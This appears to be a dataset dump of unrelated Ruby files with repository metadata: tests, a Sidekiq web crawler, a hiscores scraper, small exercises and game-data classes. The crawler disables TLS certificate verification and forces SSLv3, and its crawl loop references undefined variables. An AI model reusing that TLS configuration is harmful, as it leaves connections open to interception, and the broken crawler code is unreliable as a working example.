| true
|
fddc3e91bd77c7200bcbfc71ffe5505b920f2c81
|
Ruby
|
nessamurmur/codeclimate-services
|
/test/invocation_test.rb
|
UTF-8
| 2,916
| 2.546875
| 3
|
[
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
require File.expand_path('../helper', __FILE__)
class TestInvocation < Test::Unit::TestCase
def test_success
service = FakeService.new(:some_result)
result = CC::Service::Invocation.invoke(service)
assert_equal 1, service.receive_count
assert_equal :some_result, result
end
def test_retries
service = FakeService.new
service.raise_on_receive = true
error_occurred = false
begin
CC::Service::Invocation.invoke(service) do |i|
i.with :retries, 3
end
rescue
error_occurred = true
end
assert error_occurred
assert_equal 1 + 3, service.receive_count
end
def test_metrics
statsd = FakeStatsd.new
CC::Service::Invocation.invoke(FakeService.new) do |i|
i.with :metrics, statsd, "a_prefix"
end
assert_equal 1, statsd.incremented_keys.length
assert_equal "services.invocations.a_prefix", statsd.incremented_keys.first
end
def test_metrics_on_errors
statsd = FakeStatsd.new
service = FakeService.new
service.raise_on_receive = true
error_occurred = false
begin
CC::Service::Invocation.invoke(service) do |i|
i.with :metrics, statsd, "a_prefix"
end
rescue
error_occurred = true
end
assert error_occurred
assert_equal 1, statsd.incremented_keys.length
assert_match /^services\.errors\.a_prefix/, statsd.incremented_keys.first
end
def test_error_handling
logger = FakeLogger.new
service = FakeService.new
service.raise_on_receive = true
result = CC::Service::Invocation.invoke(service) do |i|
i.with :error_handling, logger, "a_prefix"
end
assert_nil result
assert_equal 1, logger.logged_errors.length
assert_match /^Exception invoking service: \[a_prefix\]/, logger.logged_errors.first
end
def test_multiple_middleware
service = FakeService.new
service.raise_on_receive = true
logger = FakeLogger.new
result = CC::Service::Invocation.invoke(service) do |i|
i.with :retries, 3
i.with :error_handling, logger
end
assert_nil result
assert_equal 1 + 3, service.receive_count
assert_equal 1, logger.logged_errors.length
end
private
class FakeService
attr_reader :receive_count
attr_accessor :raise_on_receive
def initialize(result = nil)
@result = result
@receive_count = 0
end
def receive
@receive_count += 1
if @raise_on_receive
raise "Boom"
end
@result
end
end
class FakeStatsd
attr_reader :incremented_keys
def initialize
@incremented_keys = Set.new
end
def increment(key)
@incremented_keys << key
end
def timing(key, value)
end
end
class FakeLogger
attr_reader :logged_errors
def initialize
@logged_errors = []
end
def error(message)
@logged_errors << message
end
end
end
| true
|
92759e9ed09523b228b260a28dcd19047a9b5769
|
Ruby
|
peckapp/webservice
|
/app/workers/crawl/crawler.rb
|
UTF-8
| 3,758
| 2.65625
| 3
|
[] |
no_license
|
module Crawl
# this class handles the main crawl loop and dispatches other workers to parse individual pages
class Crawler
include Sidekiq::Worker
include Sidetiq::Schedulable
recurrence { daily }
# bloom filter as a persistent class variable
# use is for efficiency, not accuracy, so occasional race conditions won't matter if integrity is maintained
# could fork bloomfilter-rb gem to add locking if necessary...
@@bf = nil
def perform(*_attrs)
CrawlSeed.all.each do |seed|
crawl_loop(seed.url, seed.institution_id) if seed.active
end
end
private
def crawl_loop(seed_url, inst_id, timeout = 8, page_quantity = 15_000, bf_bits = 15)
# mechanize agent to perform the link traversals, no ssl verification for crawling process to eliminate certificate errors
agent = Mechanize.new { |a| a.ssl_version, a.verify_mode = 'SSLv3', OpenSSL::SSL::VERIFY_NONE }
agent.read_timeout = timeout
agent.open_timeout = timeout
# queue to store the links for this crawl
crawl_queue = []
# bloom filter to prevent repeated page crawls, instantiated only if currently nil
k = (0.7 * bf_bits).ceil
@@bf = BloomFilter::Native.new(size: page_quantity, hashes: k, seed: 1) if @@bf.blank?
seed_host = URI(seed_url).host.to_s # host of the seed url used for domain matching
# inserts a url into the queue as a seed
crawl_queue.insert(0, seed_url)
until @crawl_queue.empty?
url = @crawl_queue.pop
page = agent.get(url)
next unless page.is_a? Mechanize::Page
page.links.each do |l|
next if @@bf.include?(l.href.to_s) # link has already been traversed
@@bf.insert(l.href.to_s) # otherwise insert it
# necessary conditions for the link to be followed
next unless acceptable_link_format?(l) && within_domain?(l.uri, seed_host)
begin
# add the link string to the front of the queue
crawl_queue.insert(0, l.to_s)
rescue Timeout::Error
# resuest timed out, could repeat it or add to queue, but for now just continue on
rescue Mechanize::ResponseCodeError => exception
# handle various response code errors
if exception.response_code == '403'
new_page = exception.page
else
raise # Some other error, re-raise for now
end
end
### Sends off the task asynchronously to another worker ###
PageCrawlAnalyzer.perform_async(new_page.uri.to_s, inst_id)
# sleep time to keep the crawl interval unpredictable and prevent lockout from certain sites
sleep(1 + rand)
end # end inner link traversal
end # end outer while loop
end # end crawl_loop method
### utility methods for the crawler
def acceptable_link_format?(link)
begin
return false if link.to_s.match(/#/) || link.uri.to_s.empty? # handles anchor links within the page
scheme = link.uri.scheme
return false if (!scheme.nil?) && (scheme != 'http') && (scheme != 'https') # eliminates non http,https, or relative links
# prevents download of media files, should be a better way to do this than by explicit checks for each type
return false if link.to_s.match(/.pdf|.jgp|.jgp2|.png|.gif/)
rescue
return false
end
true
end
def within_domain?(link, root)
if link.relative?
true # handles relative links within the site
else
# matches the current links host with the top-level domain string of the seed URI
link.host.match(root.to_s) ? true : false
end
end
end
end
| true
|
5055d6c76603fabaab4c59f8d34896e1ba9f1906
|
Ruby
|
sbcn7/atcoder-by-ruby
|
/abc008/D.rb
|
UTF-8
| 240
| 3.140625
| 3
|
[] |
no_license
|
# http://abc008.contest.atcoder.jp/tasks/abc008_4
W, H = gets.split.map(&:to_i)
N = gets.to_i
XY = []
N.times do
XY.push gets.split.map(&:to_i)
end
XY.permutation(N) do |xy|
xy.each do |x, y|
# 金塊を回収したい
end
end
| true
|
981f8ae2a0582d78c2e7d61273bf6c96cf287f95
|
Ruby
|
saheb222/ruby_practice
|
/basics/gsub_hackerrank.rb
|
UTF-8
| 292
| 3.515625
| 4
|
[] |
no_license
|
def strike(str)
"<strike>#{str}</strike>"
end
def mask_article(str,str_arr=[])
my_str = str
str_arr.each do |ar_str|
if my_str.include?(ar_str)
my_str = my_str.gsub("#{ar_str}",strike(ar_str))
end
end
my_str
end
puts mask_article("i am saheb seikh",["i","seikh"])
| true
|
fd71f6b00a022ff7389e2fd52fa311f570fda015
|
Ruby
|
teoucsb82/pokemongodb
|
/lib/pokemongodb/pokemon/farfetchd.rb
|
UTF-8
| 1,327
| 2.71875
| 3
|
[] |
no_license
|
class Pokemongodb
class Pokemon
class Farfetchd < Pokemon
def self.id
83
end
def self.base_attack
138
end
def self.base_defense
132
end
def self.base_stamina
104
end
def self.buddy_candy_distance
2
end
def self.capture_rate
0.24
end
def self.cp_gain
18
end
def self.description
"Farfetch'd is always seen with a stalk from a plant of some sort. Apparently, there are good stalks and bad stalks. This Pokémon has been known to fight with others over stalks."
end
def self.egg_hatch_distance
5
end
def self.flee_rate
0.09
end
def self.height
0.8
end
def self.max_cp
1263.89
end
def self.moves
[
Pokemongodb::Move::FuryCutter,
Pokemongodb::Move::Cut,
Pokemongodb::Move::AerialAce,
Pokemongodb::Move::AirCutter,
Pokemongodb::Move::LeafBlade
]
end
def self.name
"farfetchd"
end
def self.types
[
Pokemongodb::Type::Normal,
Pokemongodb::Type::Flying
]
end
def self.weight
15.0
end
end
end
end
| true
|
589d3c0cd41a0cecbd255258c486ccc1714379de
|
Ruby
|
clynchga/class_4_hw
|
/name_programs.rb
|
UTF-8
| 390
| 4.1875
| 4
|
[] |
no_license
|
# Write a program that asks the user for her name and greets her with her name
puts "Enter your name "
username = gets.chomp.capitalize
puts "Hello #{username}!"
# Change the previous name program such that only the users Jack or Jill are greeted
puts "Enter your name "
username = gets.chomp.capitalize
if username == "Jack" || username == "Jill"
puts "Hello #{username}!"
else
end
| true
|
fef83c3a0d90d900dde713d8734b7f5d029b9c8d
|
Ruby
|
puremana/f2pehp
|
/app/services/hiscores.rb
|
UTF-8
| 5,761
| 2.59375
| 3
|
[
"BSD-3-Clause",
"MIT"
] |
permissive
|
require 'open-uri'
class Hiscores
extend Base
REG_MODE = %w[Reg].freeze
IRONMAN_MODES = %w[UIM HCIM IM].freeze
ALL_MODES = %w[UIM HCIM IM Reg].freeze
class << self
def fetch_stats_by_acc(player_name, account_type)
stats_uri = api_url(account_type, player_name)
res = fetch(stats_uri)
if res
data = res.split("\n")
parsed_data = parse_stats(data)
return parsed_data
else
return false
end
end
def fetch_stats(player_name, account_type: nil)
parse_fields = [parse_fields] unless Array === parse_fields
modes =
if account_type
# Retrieve a `modes` list of hierarchy to check total exps in order.
# For UIM: [UIM, IM, Reg]
# For HCIM: [HCIM, IM, Reg]
# For IM: [IM, Reg]
# For Reg: [Reg]
case account_type
when *REG_MODE
REG_MODE
when *IRONMAN_MODES
ancestors = Player.account_type_ancestors[account_type.to_sym]
[account_type] + ancestors
else
raise ArgumentError, 'account type not recognized'
end
else
ALL_MODES
end
stats = []
threads = []
stats_mutex = Mutex.new
uri_per_mode = modes.map { |mode| api_url(mode, player_name) }
uri_per_mode.each_with_index do |uri, mode_idx|
threads << Thread.new(uri, mode_idx, stats) do |uri, mode_idx, stats|
# Raise exceptions in main thread so they can be caught.
Thread.current.abort_on_exception = true
res = fetch(uri)
# No hiscores data for this mode, skip.
next unless res
data = res.split("\n")
parsed_data = parse_stats(data, parse_fields)
stats_mutex.synchronize { stats << [parsed_data, mode_idx] }
end
end
threads.each(&:join)
return if stats.empty?
# Find the mode with the highest amount of total exp.
actual_stats, mode_idx = stats.sort_by do |mode_stats_idx|
mode_stats, idx = mode_stats_idx
[-mode_stats['overall_xp'], idx]
end.first
[actual_stats, modes[mode_idx]]
end
def hcim_dead?(player_name)
uri = table_url("hcim", player_name)
begin
content = fetch(uri)
rescue SocketError, Net::ReadTimeout
Rails.logger.warn "#{player_name}'s HCIM hiscores retrieval failed"
return false
end
return false unless content
page = Nokogiri::HTML(content)
page.xpath('//*[@id="contentHiscores"]/table/tbody/tr[contains(@class, "--dead")]/td/a/span')
.first
.present?
end
def get_registered_player_name(account_type, player_name)
uri = table_url(account_type, player_name)
begin
content = fetch(uri)
rescue SocketError, Net::ReadTimeout
Rails.logger.warn "#{player_name}'s hiscores retrieval failed"
return false
end
page = Nokogiri::HTML(content)
el = page.xpath('//*[@id="contentHiscores"]/table/tbody/tr/td/a/span')
.first
return el.inner_html.force_encoding('utf-8') if el
return player_name # player is unranked for overall level
false
end
private
def url_friendly_name(player_name)
ERB::Util.url_encode(player_name).gsub(/(%C2)*%A0/, '_')
end
def api_url(account_type, player_name)
unless account_type.in? Player.account_types
raise ArgumentError, 'account type not recognized'
end
path_suffix = {
HCIM: '_hardcore_ironman',
UIM: '_ultimate',
IM: '_ironman'
}
URI.join(
'https://services.runescape.com',
"m=hiscore_oldschool#{path_suffix[account_type.to_sym]}/index_lite.ws",
"?player=#{url_friendly_name(player_name)}"
)
end
def table_url(account_type, player_name)
path = 'hiscore_oldschool'
path_suffix = {
HCIM: '_hardcore_ironman',
UIM: '_ultimate',
IM: '_ironman'
}
URI.join(
'https://secure.runescape.com',
"m=#{path}#{path_suffix[account_type.to_sym]}/overall.ws",
"?user=#{url_friendly_name(player_name)}"
)
end
def parse_stats(data, restrict_fields = [])
stats = { potential_p2p: 0 }
fields = F2POSRSRanks::Application.config.skills.map.with_index
# Select field names and indices that need to be parsed in compliance
# with optional whitelist from `restrict_fields`.
if restrict_fields.any?
fields = fields.select { |f, i| f.in? restrict_fields }
end
fields.each do |skill, skill_idx|
rank, lvl, xp = data[skill_idx].split(',').map { |x| [x.to_i, 0].max }
rank = rank
lvl = lvl
xp = xp
if rank.nil? or lvl.nil?
raise ArgumentError, "invalid API stats"
end
case skill
when 'p2p'
stats[:potential_p2p] += xp
when 'p2p_minigame'
stats[:potential_p2p] += lvl
when 'lms'
stats[:lms_score] = lvl
stats[:lms_rank] = rank
when 'obor_kc'
stats[:obor_kc] = lvl
stats[:obor_kc_rank] = rank
when 'bryophyta_kc'
stats[:bryo_kc] = lvl
stats[:bryo_kc_rank] = rank
when 'clues_all', 'clues_beginner'
stats[skill] = lvl
stats["#{skill}_rank"] = rank
when 'hitpoints'
stats["#{skill}_lvl"] = [lvl, 10].max
stats["#{skill}_xp"] = [xp, 1154].max
else
stats["#{skill}_lvl"] = lvl
stats["#{skill}_xp"] = xp
stats["#{skill}_rank"] = rank
end
end
stats
end
end
end
| true
|
5232c1adb224409ac3484e6e6a6f1dc2ce3d5305
|
Ruby
|
RaphaelwHuang/Set-Game
|
/testing/test_deck.rb
|
UTF-8
| 1,046
| 3.078125
| 3
|
[] |
no_license
|
require_relative '../board'
require "test/unit"
class TestDeck < Test::Unit::TestCase
# Author: Sunny Patel - 2/5
def test_deck_init
assert_nothing_raised {Deck.new}
end
# Author: Sunny Patel - 2/5
def test_deck_draw_fullDeck
deck = Deck.new
assert_nothing_raised {deck.draw}
end
# Author: Sunny Patel - 2/5
def test_deck_draw_emptyDeck
deck = Deck.new
assert_nothing_raised {81.times {deck.draw}}
end
# Author: Sunny Patel - 2/5
def test_deck_size_fullDeck
deck = Deck.new
assert_equal(81, deck.size, "Expected size of 81.")
end
# Author: Sunny Patel - 2/5
def test_deck_size_emptyDeck
deck = Deck.new
81.times {deck.draw}
assert_equal(0, deck.size, "Expected size of 81.")
end
# Author: Sunny Patel - 2/5
def test_deck_display_size_fullDeck
print "Expected size of 81: Found "
Deck.new.display_size
end
# Author: Sunny Patel - 2/5
def test_deck_display_size_emptyDeck
deck = Deck.new
81.times {deck.draw}
print "Expected size of 0: Found "
deck.display_size
end
end
| true
|
5b97fa7c5a7f367badaff654e3566525e71c6ff6
|
Ruby
|
inem/lazibi
|
/lib/filter/optional_end_filter.rb
|
UTF-8
| 3,157
| 2.515625
| 3
|
[
"MIT"
] |
permissive
|
require 'filter_base'
module Lazibi
module Filter
class OptionalEnd < FilterBase
def up( source )
rb = source
py = []
lines = rb.split("\n")
lines.each_index do |index|
l = lines[index]
if l.strip =~ /^end$/
next
end
l = remove_colon_at_end(l)
s = l
if comment_at_end(l)
s = s.sub(/(\s*;\s*end*\s*)(#.*)/, ' \2')
s = s.sub(/(\s+end*\s*)(#.*)/, ' \2')
else
s = s.sub(/\s+end\s*$/, '')
s = remove_colon_at_end(s)
end
py << s
end
py.join("\n")
end
def remove_colon_at_end(l)
if comment_at_end(l)
l.sub /(\s*;\s*)(#.*)/, ' \2'
else
l.sub /;*$/, ''
end
end
def down( source )
content = source
return '' if content.strip == ''
lines = content.split("\n")
first_line = lines.first.strip
return lines[1..-1].join("\n") if first_line == '#skip_parse'
insert_end content
end
def insert_end( content )
@lines = content.split("\n")
progress = 0
while progress < @lines.size
lines = @lines[progress..-1]
lines.each_index do |index|
l = lines[index]
safe_l = clean_block(clean_line(get_rest(l)))
if start_anchor? safe_l
relative_index_for_end = find_end( lines[index..-1], get_indent(l))
unless relative_index_for_end
progress += 1
break
end
index_for_end = relative_index_for_end + index
if relative_index_for_end == 0 && !comment_at_end(l)
#l = lines[index_for_end]
lines[index_for_end] = lines[index_for_end].rstrip + '; end'
else
lines[index_for_end] = lines[index_for_end] + "\n" + ' ' * get_indent(l) + "end"
end
head = @lines[0...progress]
tail = lines[index..-1].join("\n").split("\n")
@lines = head + tail
progress += 1
break
end
progress += 1
end
end
result = @lines.join("\n")
end
def find_end( lines, indent )
return 0 if lines.size == 1
anchor = 0
lines = lines[1..-1]
lines.each_index do |i|
l = lines[i]
next if l.strip == ''
if l.strip =~ /^#/
if get_indent(l) > indent
anchor = i + 1
end
next
end
return anchor if get_indent(l) < indent
if get_indent(l) == indent
rest = get_rest l
if start_anchor? rest
return anchor
elsif end_anchor? rest
return false
elsif middle_anchor? rest
anchor = i + 1
next
else
return anchor
end
end
anchor = i + 1
end
return anchor
end
end
end
end
| true
|
3fc5bb8a558ac5c7f685311d657be6323dbdf162
|
Ruby
|
BearingMe/exercicios-CeV
|
/exs/mundo_1/ruby/025.rb
|
UTF-8
| 299
| 3.890625
| 4
|
[
"MIT"
] |
permissive
|
=begin
Desafio 025
Problema: Crie um programa que leia o nome de uma pessoa e diga se ela tem "SILVA" no nome.
Resolução do problema:
=end
print"Digite seu nome: "
n = gets.chomp.upcase
if n.index('SILVA') != nil
puts"Você tem Silva no nome."
else
puts"Você não tem Silva no nome."
end
| true
|
f955458c825cc19d94ab601d9d4a808ecd2db05e
|
Ruby
|
anibal/dashboard
|
/script/update_slimtimer.rb
|
UTF-8
| 5,019
| 2.515625
| 3
|
[
"MIT"
] |
permissive
|
#!/usr/bin/env ruby
require 'rubygems'
require 'optparse'
require 'rdoc/usage'
require 'logger'
require 'pp'
def quit_with_usage(opts)
STDERR.puts opts
exit 1
end
@options = {}
OptionParser.new do |opts|
opts.banner = "Usage: #{File.basename($0)} [options]"
opts.on("-l", "--logfile FILE", "Log to FILE (default STDOUT)") do |l|
@options[:log] = l
end
opts.on("-e", "--environment SINATRA_ENV", "Sinatra environment (default development)") do |e|
@options[:environment] = e
end
opts.on_tail("-h", "--help", "Show this message") do
quit_with_usage(opts)
end
args = opts.parse!(ARGV) rescue begin
STDERR.puts "#{$!}\n"
quit_with_usage(opts)
end
end
require 'sinatra'
set :environment, @options[:environment] || ENV['SINATRA_ENV'] || 'development'
disable :run
def log
@log ||= begin
log = Logger.new((@options[:log] || STDOUT))
log.datetime_format = "%Y-%m-%d %H:%M:%S"
log.level = Logger::INFO
log
end
end
require File.join(File.dirname(__FILE__), '../dashboard')
require File.join(File.dirname(__FILE__), '../lib/slimtimer_api')
FULL_DATE_TIME = "%F %T"
ONE_HOUR = 1 * 60 * 60
ONE_DAY = 24 * ONE_HOUR
TWO_WEEKS = 2 * 7 * ONE_DAY
MAX_TIMEOUTS = 5
LAST_RUN_FILE = File.join(File.dirname(__FILE__), "../log/last_run")
# Runs a given block, handling timeouts
# It will retry the block up to _max_timeouts_ times.
# If max_timeouts is exceeded, it'll spit out the given _task_ to stderr,
# and exit the script with an error code.
def handle_timeouts(max_timeouts, task)
timeouts = 0
begin
yield
rescue Timeout::Error
timeouts += 1
if timeouts > MAX_TIMEOUTS
log.fatal "Exceeded #{MAX_TIMEOUTS} timeouts on slimtimer during:\n #{task}"
raise "SlimTimer timed out #{MAX_TIMEOUTS} times, so we gave up."
else
log.debug "SlimTimer timed out (times: #{timeouts})"
retry
end
end
end
# Fetches all records for the given entity.
# Slimtimer has a default limits of records that are returned.
# The solution is to paginate through the results.
# http://slimtimer.com/help/api
def fetch_with_pagination(connection, entity, per_page)
offset = 0
records = []
begin
set = handle_timeouts(MAX_TIMEOUTS, "loading tasks (offset: #{offset})") { connection.send(entity, offset, "yes", "owner,coworker,reporter") }
records += set
offset += per_page
end until set.empty?
records
end
def run_now?
run_now = last_run.nil? ||
( Time.now > last_run + 24 * ONE_HOUR ) ||
(( Time.now > last_run + 18 * ONE_HOUR ) && ( Time.now.hour <= 4 ))
if !run_now
log.info "Called, but decided not to do anything"
end
run_now
end
def last_run
if File.exist?(LAST_RUN_FILE)
File.mtime(LAST_RUN_FILE)
else
log.debug "#{LAST_RUN_FILE} didn't exist"
nil
end
end
def ran!
FileUtils.touch(LAST_RUN_FILE)
log.debug "Completed run and touched #{LAST_RUN_FILE}"
log.debug "---"
true
end
exit 0 unless run_now?
begin
st = SlimtimerApi.new(SLIMTIMER_APIKEY, SLIMTIMER_GOD, SLIMTIMER_USERS[SLIMTIMER_GOD])
log.info " Slimtimer connected as user id #{st.user_id}"
# Load all tasks associated with the Slimtimer God
log.info " Loading tasks"
tasks = fetch_with_pagination(st, :tasks, 50)
log.info " Got #{tasks.size} tasks; updating"
SlimtimerTask.update(tasks)
SLIMTIMER_USERS.each do |email, password|
log.info "Loading slimtimer data for #{email}"
st = SlimtimerApi.new(SLIMTIMER_APIKEY, email, password)
log.info " Slimtimer connected as user id #{st.user_id}"
log.info " Loading db user"
u = SlimtimerUser.get(st.user_id)
if u.nil?
log.info " Building new user"
u = SlimtimerUser.new
u.id = st.user_id
owners = tasks.map { |t| t["owners"]["person"] }.uniq
person = owners.find { |o| o["user_id"] == u.id }
log.info " Found person in one of their tasks:"
log.info " '#{person['name']}'"
u.name = person['name']
u.email = person['email']
u.save
end
last_entry = u.time_entries.first(:order => [:end_time.desc])
start_range = last_entry ? last_entry.end_time - TWO_WEEKS : Time.local(2010, 1, 1)
end_range = [start_range + ONE_DAY, Time.now].min
failed = 0
until end_range >= Time.now
handle_timeouts(MAX_TIMEOUTS, "retrieving time entries for #{email} on #{start_range}") do
log.info " Loading time entries from #{start_range} to #{end_range}"
entries = st.time_entries(start_range.strftime(FULL_DATE_TIME),
end_range.strftime(FULL_DATE_TIME))
log.info " Got #{entries.size} entries"
u.update_time_entries(entries)
start_range = end_range
end_range = start_range + 24 * 60 * 60
end
end
end
rescue Interrupt
log.info "Interrupted"
log.info "---"
exit 1
rescue Exception => e
log.info e
raise if (Time.now > last_run + 40 * ONE_HOUR)
else
ran!
exit 0
end
| true
|
a9e36dab08512b7301b1855573c836f7d9bacb57
|
Ruby
|
RodrigoRGRB/Codewars
|
/ucoder/1030.rb
|
UTF-8
| 1,350
| 2.921875
| 3
|
[] |
no_license
|
entrada = gets.split
qfita = entrada[0].to_i
qtd = entrada[1].to_i
fita = []
dias = []
for t in (0...qfita)
fita << 0
end
def teste(posicao, tamanho, fita)
anterior = posicao - 1
atual = posicao
proxima = posicao + 1
puts "\n\n\n\n"
if anterior < 0
fita.insert((proxima - 1), 1)
fita.delete_at(proxima)
fita.insert((atual - 1), 1)
fita.delete_at(atual)
elsif proxima > tamanho
fita.insert((atual - 1), 1)
fita.delete_at(atual)
fita.insert((anterior - 1), 1)
fita.delete_at(anterior)
else
fita.insert((atual - 1), 1)
fita.delete_at(atual)
fita.insert((anterior - 1), 1)
fita.delete_at(anterior)
fita.insert((proxima - 1), 1)
fita.delete_at(proxima)
end
fita
end
#inicial
is = gets.split
is.map do |i|
i.to_i
fita.insert((i.to_i - 1), 1)
fita.delete_at(i.to_i)
end
is = is.map do |i|
i.to_i
end
teste = 1
def atualiza sujo, antigo
antigo.each do |i|
anterior = i - 1
proximo = i + 1
sujo << anterior
sujo << proximo
end
print sujo
sujo
end
##dias
while fita.include?0
is = atualiza is, is
is.each do |i|
fita = teste(i.to_i, fita.length, fita)
end
print "\n #{is}"
print "\nfita no dia #{teste} fita = #{fita}"
teste+=1
break
end
print fita
print fita.length
print "\n dias #{teste}"
=begin
13 3
2 6 13
=end
| true
|
d8f879897f026d25e18cc6bede3ea3d8fc9f0682
|
Ruby
|
patmaddox/21-day-challenge
|
/2_adventures/001/jbrains/11/langtons_ant_ui.rb
|
UTF-8
| 1,768
| 2.796875
| 3
|
[] |
no_license
|
require "gtk2"
class LangtonsAntWalkGridSquare < Gtk::Frame
attr_accessor :grid_square_model
# grid_square_model (can't be called "model", because Gtk::Frame uses that) must support:
# add_listener(listener)
# color
def self.with_model(model)
self.new(model.color).tap { |view|
view.grid_square_model = model
model.add_listener(view)
}
end
def initialize(color)
super()
# It's like a border... until I figure out how to draw a border.
self.modify_bg(Gtk::STATE_NORMAL, Gdk::Color.parse("black"))
# The area that actually changes color.
@interior = Gtk::DrawingArea.new.tap { |area|
area.modify_bg(Gtk::STATE_NORMAL, Gdk::Color.parse(color.to_s))
}
self.add(@interior)
end
def self.white
self.new(:white)
end
def color_yourself(color)
@interior.modify_bg(Gtk::STATE_NORMAL, Gdk::Color.parse(color.to_s))
end
def on_flip(color)
puts "on_flip(#{color})"
self.color_yourself(color)
end
end
class LangtonsAntWalkGridPanel < Gtk::Table
attr_reader :squares
def initialize
@rows = @columns = 3
# true -> all cells the same size
super(@rows, @columns, true)
@squares = []
@rows.times do |x|
@squares.push([])
@columns.times do |y|
square = LangtonsAntWalkGridSquare.white
@squares[x][y] = square
self.attach_defaults(square, x, x+1, y, y+1)
end
end
end
end
class LangtonsAntWalkMainWindow < Gtk::Window
attr_reader :grid_panel
def initialize
super
set_title("Langton's Ant")
signal_connect("destroy") do
Gtk.main_quit
end
self.set_default_size(600, 600)
@grid_panel = LangtonsAntWalkGridPanel.new
self.add(@grid_panel)
self.show_all()
end
end
| true
|
813249d7006df0cacf739236c0ab4ed5a109399a
|
Ruby
|
sooyang/algo
|
/merge_sort.rb
|
UTF-8
| 765
| 3.875
| 4
|
[] |
no_license
|
# Chapter 2
def merge(array, p, q, r)
left = array[p..q]
right = array[q+1..r]
i = 0 # left array index
j = 0 # right array index
k = p # main array
while i < left.length && j < right.length
if left[i] < right[j]
array[k] = left[i]
i += 1
else
array[k] = right[j]
j += 1
end
k += 1
end
if j == right.length
array[k..r+1] = left[i..]
end
print array.to_a
end
def merge_sort(array, p , r)
if p < r
q = (p + r) / 2
merge_sort(array, p, q)
merge_sort(array, q + 1, r)
merge(array, p, q, r)
end
end
items = [2, 4, 5, 7, 1, 2, 3, 6]
#merge(items, 0, 3, 7)
merge_sort(items, 0, (items.length-1))
| true
|
ba7f9afb194e9e5c9950e42631fcb7c5485d87cf
|
Ruby
|
palladius/riclife
|
/app/helpers/tags_helper.rb
|
UTF-8
| 1,172
| 2.546875
| 3
|
[] |
no_license
|
module TagsHelper
def sample_tags
sminuzza_tags 'dublin bologna riccardo gnocca connector goliardia friend sex love gnocca family son spouse imelda_may'
end
### Use partial "tags/link" , :tags => ARRAY
# restituisce un array... '
def sminuzza_tags(str)
return [] unless str
str.split(/[ ,]/).map{|tag| '' + tag.downcase }.select{|tag| tag.length > 1 }.sort.uniq rescue ["Execption::SminuzzaTag", "#{$!}" ]
end
def render_tags(obj)
render :partial => "tags/link", :locals => { :tags => obj.tags }, :class => 'tag'
end
# i.e., Dublin, 14
def render_tag(tag,cardinality)
tagdebug = false
size = (Math.log(cardinality) * 10).to_i # logarithimc o non se ne esce! :)
fontsize = 50 + size * 2 # percentage: 100 = equal
visualized_tag = tag.downcase.gsub('_',' ') # renders '_' as spaces...
title = 'Tag ' + tag.downcase + " (CARD=#{cardinality}, size//fontsize=#{size}//#{fontsize})"
visualized_tag += " (#{cardinality})" if tagdebug
fontstyle = "font-size: #{fontsize}%;"
link_to("<font class='tag' style='#{fontstyle}' title='#{title}' >#{visualized_tag}</font>", "/tags/#{tag}")
end
end
| true
|
736321a45b645afd625f47e7bafc86effff081a4
|
Ruby
|
Proffard/vimeo_rails
|
/lib/vimeo/categories.rb
|
UTF-8
| 1,026
| 2.546875
| 3
|
[
"MIT"
] |
permissive
|
module Vimeo
class Categories < Vimeo::Base
# Get a list of the top level categories. GET #
def self.find_all
get('/categories')
end
# Get a category. GET #
#
# category = category name
def self.search(category)
get("/categories/#{category}")
end
##################### Channels ####################
# Get a list of Channels related to a category. GET #
#
# category = category name
def self.related_channels(category)
get("/categories/#{category}/channels")
end
##################### Groups ####################
# Get a list of Groups related to a category. GET #
#
# category = category name
def self.related_groups(category)
get("/categories/#{category}/groups")
end
##################### Videos ####################
# Get a list of videos related to a category. GET #
#
# category = category name
def self.videos(category)
get("/categories/#{category}/videos")
end
end
end
| true
|
9907791c98ca759a9b6768a2f9654bc8e4e39ab5
|
Ruby
|
ZeusLimited/ksa_copy
|
/app/models/concerns/arm_minenergo.rb
|
UTF-8
| 809
| 2.578125
| 3
|
[] |
no_license
|
module ArmMinenergo
extend ActiveSupport::Concern
include Constants
class_methods do
def to_arm_thousand(val)
return 0 if val.nil?
(val.to_f / 1000.0).round(3)
end
end
private
def default_value(type)
[:float, :integer].include?(type) ? 0 : nil
end
def reject_special_symbols(element)
element.to_s.gsub(/[:=()]/, ':' => ' ', '=' => ' ', '(' => '[', ')' => ']')
end
def add_line(index, elements)
"(#{index}):::::::#{elements}:"
end
def get_additional_info(par1, par2)
"#{par1}:#{par2}::::0:0:0:0:::::0::0:::0:0::0::0:0:0:0:0:0:0::0:0:0:0:::0:::::::::"
end
def get_user_info(user_id)
return unless user_id.present?
u = User.find user_id
[u.fio_full, u.user_job, reject_special_symbols(u.phone), u.email, nil].join(':')
end
end
| true
|
ce74f452e3b37644d2c235e7ffd9185458940a4a
|
Ruby
|
ryouyatanaka/bowling
|
/lib/bowling.rb
|
UTF-8
| 1,273
| 3.609375
| 4
|
[] |
no_license
|
class Bowling
def initialize
@scores = []
@index = 0
@frame = 1
@total = 0
@frame_scores = []
end
def add_score(pins)
@scores << pins
end
def total_score
@total
end
def calc_score
while @frame <= 10 do
pin1 = @scores[@index]
pin2 = @scores[@index+1] if @index+1 <= @scores.size
pin3 = @scores[@index+2] if @index+2 <= @scores.size
#ストライクの処理
if strike?(pin1) then
@total += pin1 + pin2.to_i + pin3.to_i
@index += 1
#p @total
#ここまで
else
@total += pin1 + pin2.to_i
@total += pin3.to_i if spare?(pin1,pin2)
@index += 2
end
@frame_scores << @total
@frame += 1
#p "frame: #{@frame-1} total: #{@total}"
pin2 = 0
pin3 = 0
end
#p @frame
#p @frame_scores
end
def frame_score(index)
@frame_scores[index-1]
end
def spare?(pin1,pin2)
pin1 + pin2.to_i == 10
end
def strike?(pin1)
pin1 == 10
end
end
| true
|
c851ce151e6d0b3e37d5fca7e60b8e54bd145fb7
|
Ruby
|
jmennick/cornDog
|
/app/formatters/time_value_formatter.rb
|
UTF-8
| 299
| 2.546875
| 3
|
[] |
no_license
|
class TimeValueFormatter < JSONAPI::ValueFormatter
FORMAT='%m/%d/%Y %I:%M:%S%p'
class << self
def format(raw_value)
super(raw_value.to_time.strftime(FORMAT))
end
def unformat(value)
# super(Date.strptime(value, FORMAT))
super(Time.parse(value))
end
end
end
| true
|
a998faf1e0e76cd29b45faef9041653c51e58946
|
Ruby
|
m11o/algoruby
|
/src/section3/code3_2.rb
|
UTF-8
| 214
| 2.9375
| 3
|
[] |
no_license
|
n = gets.chomp.to_i
v = gets.chomp.to_i
array = []
(0..(n - 1)).each { array << gets.chomp.to_i }
found_id = nil
array.each_with_index do |item, index|
next if item != v
found_id = index
end
puts found_id
| true
|
